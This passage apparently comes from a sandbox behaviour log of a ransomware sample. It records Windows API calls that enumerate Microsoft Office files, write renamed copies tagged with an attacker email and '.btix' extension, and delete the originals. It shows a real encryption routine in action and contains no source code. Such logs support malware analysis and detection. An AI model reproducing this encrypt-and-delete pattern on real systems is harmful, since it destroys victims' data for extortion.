(lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0139.442] lstrlenW (lpString=".dbf") returned 4 [0139.442] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0139.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0139.442] lstrlenW (lpString=".1cd") returned 4 [0139.442] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0139.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0139.442] lstrlenW (lpString=".jpg") returned 4 [0139.442] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0139.443] lstrcmpiW (lpString1=".eftx", lpString2=".btix") returned 1 [0139.443] lstrlenW (lpString="Riblet.eftx") returned 11 [0139.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0139.444] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=295074) returned 1 [0139.444] CloseHandle (hObject=0x540) returned 1 [0139.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 0x220 [0139.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0139.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0139.444] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.444] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0139.445] GetLastError () returned 0x0 [0139.445] ReadFile (in: hFile=0x540, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x480a2, lpOverlapped=0x0) returned 1 [0139.617] WriteFile (in: hFile=0x508, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x480b0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x480b0, lpOverlapped=0x0) returned 1 [0139.622] ReadFile (in: hFile=0x540, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0139.622] WriteFile (in: hFile=0x508, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xea, lpOverlapped=0x0) returned 1 [0139.622] SetEndOfFile (hFile=0x508) returned 1 [0139.623] CloseHandle (hObject=0x508) returned 1 [0139.623] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.623] SetEndOfFile (hFile=0x540) returned 1 [0139.630] CloseHandle (hObject=0x540) returned 1 [0139.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0139.634] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 1 [0139.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0139.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0139.634] lstrlenW (lpString=".doc") returned 4 [0139.635] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0139.635] lstrlenW (lpString=".docx") returned 5 [0139.635] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0139.635] lstrlenW (lpString=".pdf") returned 4 [0139.635] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0139.635] lstrlenW (lpString=".xls") returned 4 [0139.635] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0139.635] lstrlenW (lpString=".xlsx") returned 5 [0139.635] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0139.635] lstrlenW (lpString=".ppt") returned 4 [0139.635] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0139.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0139.635] lstrlenW (lpString=".zip") returned 4 [0139.635] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0139.635] lstrlenW (lpString=".rar") returned 4 [0139.635] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0139.635] lstrlenW (lpString=".bz2") returned 4 [0139.635] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0139.635] lstrlenW (lpString=".7z") returned 3 [0139.635] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0139.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0139.635] lstrlenW (lpString=".dbf") returned 4 [0139.635] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0139.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0139.635] lstrlenW (lpString=".1cd") returned 4 [0139.635] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0139.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0139.635] lstrlenW (lpString=".jpg") returned 4 [0139.635] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0139.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0139.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0139.636] lstrlenW (lpString=".doc") returned 4 [0139.636] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0139.636] lstrlenW (lpString=".docx") returned 5 [0139.636] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0139.636] lstrlenW (lpString=".pdf") returned 4 [0139.636] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0139.636] lstrlenW (lpString=".xls") returned 4 [0139.636] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0139.636] lstrlenW (lpString=".xlsx") returned 5 [0139.636] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0139.636] lstrlenW (lpString=".ppt") returned 4 [0139.636] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0139.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0139.636] lstrlenW (lpString=".zip") returned 4 [0139.636] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0139.636] lstrlenW (lpString=".rar") returned 4 [0139.636] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0139.636] lstrlenW (lpString=".bz2") returned 4 [0139.636] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0139.636] lstrlenW (lpString=".7z") returned 3 [0139.636] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0139.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0139.636] lstrlenW (lpString=".dbf") returned 4 [0139.636] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0139.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0139.636] lstrlenW (lpString=".1cd") returned 4 [0139.636] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0139.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0139.636] lstrlenW (lpString=".jpg") returned 4 [0139.636] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0139.637] lstrcmpiW (lpString1=".eftx", lpString2=".btix") returned 1 [0139.637] lstrlenW (lpString="Smokey Glass.eftx") returned 17 [0139.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0139.638] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=186195) returned 1 [0139.638] CloseHandle (hObject=0x540) returned 1 [0139.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 0x220 [0139.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0139.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0139.639] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.639] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0139.639] GetLastError () returned 0x0 [0139.639] ReadFile (in: hFile=0x540, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x2d753, lpOverlapped=0x0) returned 1 [0139.685] WriteFile (in: hFile=0x508, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x2d760, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x2d760, lpOverlapped=0x0) returned 1 [0139.866] ReadFile (in: hFile=0x540, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0139.866] WriteFile (in: hFile=0x508, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xf6, lpOverlapped=0x0) returned 1 [0139.867] SetEndOfFile (hFile=0x508) returned 1 [0139.867] CloseHandle (hObject=0x508) returned 1 [0139.867] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.867] SetEndOfFile (hFile=0x540) returned 1 [0139.945] CloseHandle (hObject=0x540) returned 1 [0139.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0140.795] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 1 [0140.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0140.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0140.796] lstrlenW (lpString=".doc") returned 4 [0140.796] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0140.796] lstrlenW (lpString=".docx") returned 5 [0140.796] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0140.796] lstrlenW (lpString=".pdf") returned 4 [0140.796] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0140.796] lstrlenW (lpString=".xls") returned 4 [0140.796] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0140.797] lstrlenW (lpString=".xlsx") returned 5 [0140.797] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0140.797] lstrlenW (lpString=".ppt") returned 4 [0140.797] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0140.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0140.797] lstrlenW (lpString=".zip") returned 4 [0140.797] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0140.797] lstrlenW (lpString=".rar") returned 4 [0140.797] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0140.797] lstrlenW (lpString=".bz2") returned 4 [0140.797] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0140.797] lstrlenW (lpString=".7z") returned 3 [0140.797] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0140.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0140.797] lstrlenW (lpString=".dbf") returned 4 [0140.797] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0140.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0140.797] lstrlenW (lpString=".1cd") returned 4 [0140.797] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0140.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0140.797] lstrlenW (lpString=".jpg") returned 4 [0140.797] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0140.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0140.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0140.797] lstrlenW (lpString=".doc") returned 4 [0140.797] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0140.797] lstrlenW (lpString=".docx") returned 5 [0140.798] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0140.798] lstrlenW (lpString=".pdf") returned 4 [0140.798] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0140.798] lstrlenW (lpString=".xls") returned 4 [0140.798] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0140.798] lstrlenW (lpString=".xlsx") returned 5 [0140.798] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0140.798] lstrlenW (lpString=".ppt") returned 4 [0140.798] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0140.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0140.798] lstrlenW (lpString=".zip") returned 4 [0140.798] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0140.798] lstrlenW (lpString=".rar") returned 4 [0140.798] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0140.798] lstrlenW (lpString=".bz2") returned 4 [0140.798] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0140.798] lstrlenW (lpString=".7z") returned 3 [0140.798] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0140.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0140.798] lstrlenW (lpString=".dbf") returned 4 [0140.798] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0140.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0140.798] lstrlenW (lpString=".1cd") returned 4 [0140.798] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0140.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0140.798] lstrlenW (lpString=".jpg") returned 4 [0140.798] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0140.799] lstrcmpiW (lpString1=".msu", lpString2=".btix") returned 1 [0140.799] lstrlenW (lpString="Windows8-RT-KB2999226-x64.msu") returned 29 [0140.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0140.799] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=1347630) returned 1 [0140.799] CloseHandle (hObject=0x548) returned 1 [0140.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu")) returned 0x220 [0140.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0140.800] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.800] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0140.819] GetLastError () returned 0x0 [0140.819] ReadFile (in: hFile=0x548, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0140.873] WriteFile (in: hFile=0x4c0, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0141.043] ReadFile (in: hFile=0x548, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x4903e, lpOverlapped=0x0) returned 1 [0141.054] WriteFile (in: hFile=0x4c0, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x49040, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x49040, lpOverlapped=0x0) returned 1 [0141.062] ReadFile (in: hFile=0x548, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0141.062] WriteFile (in: hFile=0x4c0, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x10e, lpOverlapped=0x0) returned 1 [0141.062] SetEndOfFile (hFile=0x4c0) returned 1 [0141.062] CloseHandle (hObject=0x4c0) returned 1 [0141.062] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.062] SetEndOfFile (hFile=0x548) returned 1 [0141.382] CloseHandle (hObject=0x548) returned 1 [0141.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0141.405] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu")) returned 1 [0141.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0141.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0141.439] lstrlenW (lpString=".doc") returned 4 [0141.439] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0141.439] lstrlenW (lpString=".docx") returned 5 [0141.439] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0141.439] lstrlenW (lpString=".pdf") returned 4 [0141.439] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0141.439] lstrlenW (lpString=".xls") returned 4 [0141.439] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0141.439] lstrlenW (lpString=".xlsx") returned 5 [0141.439] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0141.439] lstrlenW (lpString=".ppt") returned 4 [0141.439] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0141.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0141.439] lstrlenW (lpString=".zip") returned 4 [0141.439] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0141.439] lstrlenW (lpString=".rar") returned 4 [0141.439] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0141.439] lstrlenW (lpString=".bz2") returned 4 [0141.439] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0141.439] lstrlenW (lpString=".7z") returned 3 [0141.440] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0141.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0141.440] lstrlenW (lpString=".dbf") returned 4 [0141.440] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0141.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0141.440] lstrlenW (lpString=".1cd") returned 4 [0141.440] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0141.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0141.440] lstrlenW (lpString=".jpg") returned 4 [0141.440] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0141.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0141.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0141.440] lstrlenW (lpString=".doc") returned 4 [0141.440] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0141.440] lstrlenW (lpString=".docx") returned 5 [0141.440] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0141.440] lstrlenW (lpString=".pdf") returned 4 [0141.440] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0141.440] lstrlenW (lpString=".xls") returned 4 [0141.440] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0141.440] lstrlenW (lpString=".xlsx") returned 5 [0141.440] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0141.440] lstrlenW (lpString=".ppt") returned 4 [0141.440] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0141.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0141.440] lstrlenW (lpString=".zip") returned 4 [0141.441] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0141.441] lstrlenW (lpString=".rar") returned 4 [0141.441] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0141.441] lstrlenW (lpString=".bz2") returned 4 [0141.441] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0141.441] lstrlenW (lpString=".7z") returned 3 [0141.441] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 